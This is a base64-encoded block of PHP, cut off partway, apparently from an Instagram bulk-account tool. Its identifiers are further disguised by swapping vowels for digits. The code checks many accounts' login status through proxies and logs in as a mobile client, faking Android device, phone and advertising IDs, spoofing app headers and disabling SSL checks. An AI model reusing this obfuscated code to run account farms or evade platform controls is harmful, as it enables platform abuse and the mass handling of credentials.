RSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBAdjFyIEluc3QxZ3IxbSAkMmJqDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQyYmogPSAkdGg0cy0+M3M1cnNbJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbIjRuZDV4Il1dWyIyYmo1Y3QiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQyYmotPjJyZzFuNHo1QzIyazQ1cygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbIjRzVzViQzIyazQ1Il0gPT0gNikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNzNXQoJGQybjVuUzJuM2NbInN0MXQzcyJdKSAmJiAkZDJuNW5TMm4zY1sic3QxdDNzIl0gPT0gIjJrIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gInMzY2M1c3MiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNzNXQoJGQybjVuUzJuM2NbInN0MXQzcyJdKSAmJiAkZDJuNW5TMm4zY1sic3QxdDNzIl0gPT0gIjJrIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gInMzY2M1c3MiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGsybnRyMmwgICAgICAgICAgICAgPSBqczJuX2Q1YzJkNSgkcjVxMzVzdC0+ZzV0UjVzcDJuczVUNXh0KCksIFRSVUUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRrMm50cjJsWyJtNXNzMWc1Il0gPT0gImwyZzRuX3I1cTM0cjVkIiB8fCAkazJudHIybFsibTVzczFnNSJdID09ICJjaDFsbDVuZzVfcjVxMzRyNWQiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbImQzcjNtIl0gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyc1tdID0gJHRyNDVkVXM1cjsNCiAgICAgICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5jbDUxckMybXBsNXQ1ZCgpOw0KICAgICAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPnByM241UDVuZDRuZ1I1cTM1c3RRMzUzNSgpOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoJHRoNHMtPnM0bTNsdDFuNXAyc3RzNHo1KTsNCg0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+NXg1YzN0NSgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgInQydDFsUzNjYzVzc0MyM250IiA9PiAkdDJ0MWxTM2NjNXNzQzIzbnQsDQogICAgICAgICAgICAgICAgIjNzNXJzIiAgICAgICAgICAgICA9PiAkdHI0NWRVczVycw0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGYzbmN0NDJuIHYxbDRkMXQ1KCkgew0KICAgICAgICAgICAgJHQydDFsUzNjYzVzc0MyM250ID0gMDsNCiAgICAgICAgICAgICR0cjQ1ZFVzNXJzICAgICAgICA9IDFycjF5KCk7DQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwgICAgICAgPSBuNXcgUjJsbDRuZ0MzcmwoKTsNCg0KICAgICAgICAgICAgZjJyNTFjaCgkdGg0cy0+M3M1cnMgMXMgJDNzNXIpIHsNCiAgICAgICAgICAgICAgICA0ZigkM3M1clsiZDF0MSJdWyI0c1c1YkMyMms0NSJdID09IDYpIHsNCiAgICAgICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICAgICAqIEB2MXIgSW5zdDFncjFtVzViICQyYmpJbnN0MWdyMW1XNWINCiAgICAgICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgICAgICQyYmpJbnN0MWdyMW1XNWIgPSAkM3M1clsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgICAgICQyYmpEMXQxICAgICAgICAgPSAkMmJqSW5zdDFncjFtVzViLT5nNXREMXQxKCk7DQogICAgICAgICAgICAgICAgICAgICQzczVyQXNucyAgICAgICAgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCQyYmpEMXQxW0lOU1RBV0VCX0FTTlNfS0VZXSk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAkaDUxZDVycyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1I1ZjVyNXI6IGh0dHBzOi8vd3d3LjRuc3QxZ3IxbS5jMm0vNG5zdDFncjFtLycsDQogICAgICAgICAgICAgICAgICAgICAgICAnRE5UOiA2JywNCiAgICAgICAgICAgICAgICAgICAgICAgICdPcjRnNG46IGh0dHBzOi8vd3d3LjRuc3QxZ3IxbS5jMm0vJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUNTUkZUMms1bjogJyAuIHRyNG0oJDJiakQxdDFbInQyazVuIl0pLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtUjVxMzVzdDVkLVc0dGg6IFhNTEh0dHBSNXEzNXN0JywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUluc3QxZ3IxbS1BSkFYOiA2JywNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnQzFjaDUtQzJudHIybDogbTF4LTFnNT0wJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdBY2M1cHQ6ICovKicsDQogICAgICAgICAgICAgICAgICAgICAgICAnQWNjNXB0LUwxbmczMWc1OiAnIC4gQzJuc3QxbnRzOjpBQ0NFUFRfTEFOR1VBR0UNCiAgICAgICAgICAgICAgICAgICAgKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCAgICAgID0+IDRzczV0KCQyYmpEMXQxWyJ3NWJfM3M1cl8xZzVudCJdKSA/ICQyYmpEMXQxWyJ3NWJfM3M1cl8xZzVudCJdIDogIk0yejRsbDEvaS4wIChNMWM0bnQyc2g7IEludDVsIE0xYyBPUyBYIDYwXzZhXzYpIEFwcGw1VzViSzR0L2UwYS5hLjZ1IChLSFRNTCwgbDRrNSBHNWNrMikgVjVyczQybi82MC4wLjYgUzFmMXI0L2UwYS5hLjZ1IiwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gVFJVRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gVFJVRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVkVSQk9TRSAgICAgICAgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgICAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0NPT0tJRSAgICAgICAgID0+IDRzczV0KCQyYmpEMXQxWyJ3NWJfYzIyazQ1Il0pID8gJDJiakQxdDFbInc1Yl9jMjJrNDUiXSA6ICIiDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1swXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lOVEVSRkFDRSA6IENVUkxPUFRfUFJPWFk7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JUFJFU09MVkUgOiBDVVJMT1BUX1BST1hZVVNFUlBXRDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1s2XTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPmc1dChDMm5zdDFudHM6OldFQl9VUkwgLiAiMWNjMjNudHMvMWN0NHY0dHkvP19fMT02IiwgJGg1MWQ1cnMsICQycHQ0Mm5zLCAkM3M1clsiZDF0MSJdKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAvKioNCiAgICAgICAgICAgICAgICAgICAgICogQHYxciBJbnN0MWdyMW0gJDJiakluc3QxZ3IxbQ0KICAgICAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICAgICAgJDJiakluc3QxZ3IxbSA9ICQzczVyWyIyYmo1Y3QiXTsNCiAgICAgICAgICAgICAgICAgICAgJDJiakQxdDEgICAgICA9ICQyYmpJbnN0MWdyMW0tPmc1dEQxdDEoKTsNCiAgICAgICAgICAgICAgICAgICAgJDNzNXJBc25zICAgICA9IFV0NGxzOjpnNW41cjF0NUFzbnMoJDJiakQxdDFbSU5TVEFXRUJfQVNOU19LRVldKTsNCg0KICAgICAgICAgICAgICAgICAgICAkaDUxZDVycyA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnQWNjNXB0OiAqLyonLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzFwMWI0bDR0NDVzOiAnIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1UeXA1OiAnIC4gQzJuc3QxbnRzOjpYX0lHX0Mybm41Y3Q0Mm5fVHlwNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxCeXQ1cy1COiAwJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtRkItSFRUUC1Fbmc0bjU6ICcgLiBDMm5zdDFudHM6OlhfRkJfSFRUUF9Fbmc0bjUsDQogICAgICAgICAgICAgICAgICAgICAgICAnQWNjNXB0LUwxbmczMWc1OiAnIC4gQzJuc3QxbnRzOjpBQ0NFUFRfTEFOR1VBR0UNCiAgICAgICAgICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgICAgICAgICAkMnB0NDJucyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgICAgICA9PiAkMmJqRDF0MVsiM3M1cl8xZzVudCJdLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9WRVJCT1NFICAgICAgICA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9FTkNPRElORyAgICAgICA9PiAnJywNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfQ09PS0lFICAgICAgICAgPT4gJDJiakQxdDFbImMyMms0NSJdDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1swXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lOVEVSRkFDRSA6IENVUkxPUFRfUFJPWFk7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JUFJFU09MVkUgOiBDVVJMT1BUX1BST1hZVVNFUlBXRDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1s2XTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJDJiakQxdDFbIjMzNGQiXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkMmJqRDF0MVsiM3M1cm4xbTVfNGQiXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkMmJqRDF0MVsidDJrNW4iXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdtNWQ0MV80ZCcgICA9PiAiIiwNCiAgICAgICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cDJzdChDMm5zdDFudHM6OkFQSV9VUkwgLiAibTVkNDEvNmV1dTg2ODhhb2E4ODgwMGllN19lbzB1aWV1YW91LzRuZjIvIiwgJHAyc3REMXQxLCAkaDUxZDVycywgJDJwdDQybnMsICQzczVyWyJkMXQxIl0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0QzFsbGIxY2soZjNuY3Q0Mm4oUjJsbDRuZ0MzcmxSNXEzNXN0ICRyNXEzNXN0LCBSMmxsNG5nQzNybCAkcjJsbDRuZ0MzcmwpIDNzNSAoJiR0cjQ1ZFVzNXJzLCAmJHQydDFsUzNjYzVzc0MyM250KSB7DQoNCiAgICAgICAgICAgICAgICAkdHI0NWRVczVyID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICIzczVySUQiICAgPT4gJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbIjN5NUlEIl0sDQogICAgICAgICAgICAgICAgICAgICI0bnN0MUlEIiAgPT4gJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbIjRuc3QxSUQiXSwNCiAgICAgICAgICAgICAgICAgICAgIjNzNXJONGNrIiA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siazNsbDFuNGM0QWQ0Il0sDQogICAgICAgICAgICAgICAgICAgICJzdDF0M3MiICAgPT4gIm4xIg0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgJDRzRXJyMnI1ZCA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNUVycjJyKCk7DQogICAgICAgICAgICAgICAgNGYoNW1wdHkoJDRzRXJyMnI1ZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHI1c3AybnM1SW5mMiA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNUluZjIoKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJHI1c3AybnM1SW5mMlsiaHR0cF9jMmQ1Il0gPT0gYTAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDJuNW5TMm4zYyA9IGpzMm5fZDVjMmQ1KCRyNXEzNXN0LT5nNXRSNXNwMm5zNVQ1eHQoKSwgVFJVRSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zYykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKHN0cnAycygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCksICJTNXQtQzIyazQ1IikgIT09IEZBTFNFKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBAdjFyIEluc3QxZ3IxbSAkMmJqDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMmJqID0gJHRoNHMtPjNzNXJzWyRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0bmQ1eCJdXVsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQyYmotPjJyZzFuNHo1QzIyazQ1cygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0c1c1YkMyMms0NSJdID09IDYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoc3RycDJzKCRyNXEzNXN0LT5nNXRSNXNwMm5zNUg1MWQ1cnMoKSwgJ0hUVFAvNi42IGEwMCBPSycgIT09IEZBTFNFKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQydDFsUzNjYzVzc0MyM250Kys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJzM2NjNXNzIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gImYxNGwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGQybjVuUzJuM2NbInN0MXQzcyJdID09ICIyayIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiczNjYzVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoJHI1c3AybnM1SW5mMlsiaHR0cF9jMmQ1Il0gPT0gdTAwIHx8ICRyNXNwMm5zNUluZjJbImh0dHBfYzJkNSJdID09IHUwbykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJuMSI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRyNDVkVXM1cnNbXSA9ICR0cjQ1ZFVzNXI7DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5jbDUxckMybXBsNXQ1ZCgpOw0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cHIzbjVQNW5kNG5nUjVxMzVzdFEzNTM1KCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoJHRoNHMtPnM0bTNsdDFuNXAyc3RzNHo1KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+NXg1YzN0NSgpOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgInQydDFsUzNjYzVzc0MyM250IiA9PiAkdDJ0MWxTM2NjNXNzQzIzbnQsDQogICAgICAgICAgICAgICAgIjNzNXJzIiAgICAgICAgICAgICA9PiAkdHI0NWRVczVycw0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KDQogICAgfQ0KDQoNCiAgICBjbDFzcyBNMmI0bEluc3QxZ3IxbSB7DQogICAgICAgIHByMnQ1Y3Q1ZCAkM3M1cm4xbTU7DQogICAgICAgIHByMnQ1Y3Q1ZCAkcDFzc3cycmQ7DQogICAgICAgIC8qKg0KICAgICAgICAgKiBAdjFyIEQ1djRjNQ0KICAgICAgICAgKi8NCiAgICAgICAgcHIydDVjdDVkICRkNXY0YzU7DQogICAgICAgIHAzYmw0YyAgICAkMWNjMjNudF80ZDsgICAgICAgICAgLy8gVXM1ciBQSw0KICAgICAgICBwM2JsNGMgICAgJDMzNGQ7ICAgICAgICAgICAgICAgIC8vIFVVSUQNCiAgICAgICAgcHIydDVjdDVkICQxZDRkOyAgICAgICAgICAgICAgICAvLyBHMjJnbDUgQWQgSUQNCiAgICAgICAgcHIydDVjdDVkICRnMzRkOyAgICAgICAgICAgICAgICAvLyBHMjJnbDUgQWQgSUQNCiAgICAgICAgcHIydDVjdDVkICRwaDJuNV80ZDsgICAgICAgICAgICAvLyBQaDJuNSBJRA0KICAgICAgICBwcjJ0NWN0NWQgJGQ1djRjNV80ZDsgICAgICAgICAgIC8vIEQ1djRjNSBJRA0KICAgICAgICAvKioNCiAgICAgICAgICogQHYxciBTNXR0NG5ncw0KICAgICAgICAgKi8NCiAgICAgICAgcDNibDRjICAgICRzNXR0NG5nczsNCiAgICAgICAgcDNibDRjICAgICR0Mms1bjsgICAgICAgICAgICAgICAvLyBfY3NyZnQyazVuDQogICAgICAgIHByMnQ1Y3Q1ZCAkNHNMMmdnNWRJbiA9IEZBTFNFOyAgLy8gUzVzczQybiBzdDF0M3MNCiAgICAgICAgcHIydDVjdDVkICRyMW5rX3QyazVuOyAgICAgICAgICAvLyBSMW5rIHQyazVuDQogICAgICAgIHByMnQ1Y3Q1ZCAkSUdEMXQxUDF0aDsgICAgICAgICAgLy8gRDF0MSBzdDJyMWc1IHAxdGgNCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBfX2MybnN0cjNjdCgpIHsNCg0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIE0yYjRsNUwyZzRuKCQzczVybjFtNSwgJHAxc3N3MnJkLCAkZDV2NGM1SUQsICRwaDJuNUlELCAkY3NyZlQyazVuKSB7DQoNCiAgICAgICAgICAgICR0aDRzLT4zczVybjFtNSAgPSAkM3M1cm4xbTU7DQogICAgICAgICAgICAkdGg0cy0+dDJrNW4gICAgID0gJGNzcmZUMms1bjsNCiAgICAgICAgICAgICR0aDRzLT4xZDRkICAgICAgPSAkcGgybjVJRDsNCiAgICAgICAgICAgICR0aDRzLT5nMzRkICAgICAgPSAkcGgybjVJRDsNCiAgICAgICAgICAgICR0aDRzLT4zMzRkICAgICAgPSAkcGgybjVJRDsNCiAgICAgICAgICAgICR0aDRzLT5waDJuNV80ZCAgPSAkcGgybjVJRDsNCiAgICAgICAgICAgICR0aDRzLT5kNXY0YzVfNGQgPSAiMW5kcjI0ZC0iIC4gJGQ1djRjNUlEOw0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdwaDJuNV80ZCcgICAgICAgICAgICA9PiAkdGg0cy0+cGgybjVfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgICAgICAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnM3M1cm4xbTUnICAgICAgICAgICAgPT4gJHRoNHMtPjNzNXJuMW01LA0KICAgICAgICAgICAgICAgICdnMzRkJyAgICAgICAgICAgICAgICA9PiAkdGg0cy0+ZzM0ZCwNCiAgICAgICAgICAgICAgICAnMWQ0ZCcgICAgICAgICAgICAgICAgPT4gJHRoNHMtPjFkNGQsDQogICAgICAgICAgICAgICAgJ2Q1djRjNV80ZCcgICAgICAgICAgID0+ICR0aDRzLT5kNXY0YzVfNGQsDQogICAgICAgICAgICAgICAgJ3Axc3N3MnJkJyAgICAgICAgICAgID0+ICRwMXNzdzJyZCwNCiAgICAgICAgICAgICAgICAnbDJnNG5fMXR0NW1wdF9jMjNudCcgPT4gJzAnLA0KICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICJiNWYycjVEMXQxIiA9PiAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPk0yYjRsTDJnMjN0KCkNCiAgICAgICAgICAgICAgICApLA0KICAgICAgICAgICAgICAgICJsMmc0bkQxdDEiICA9P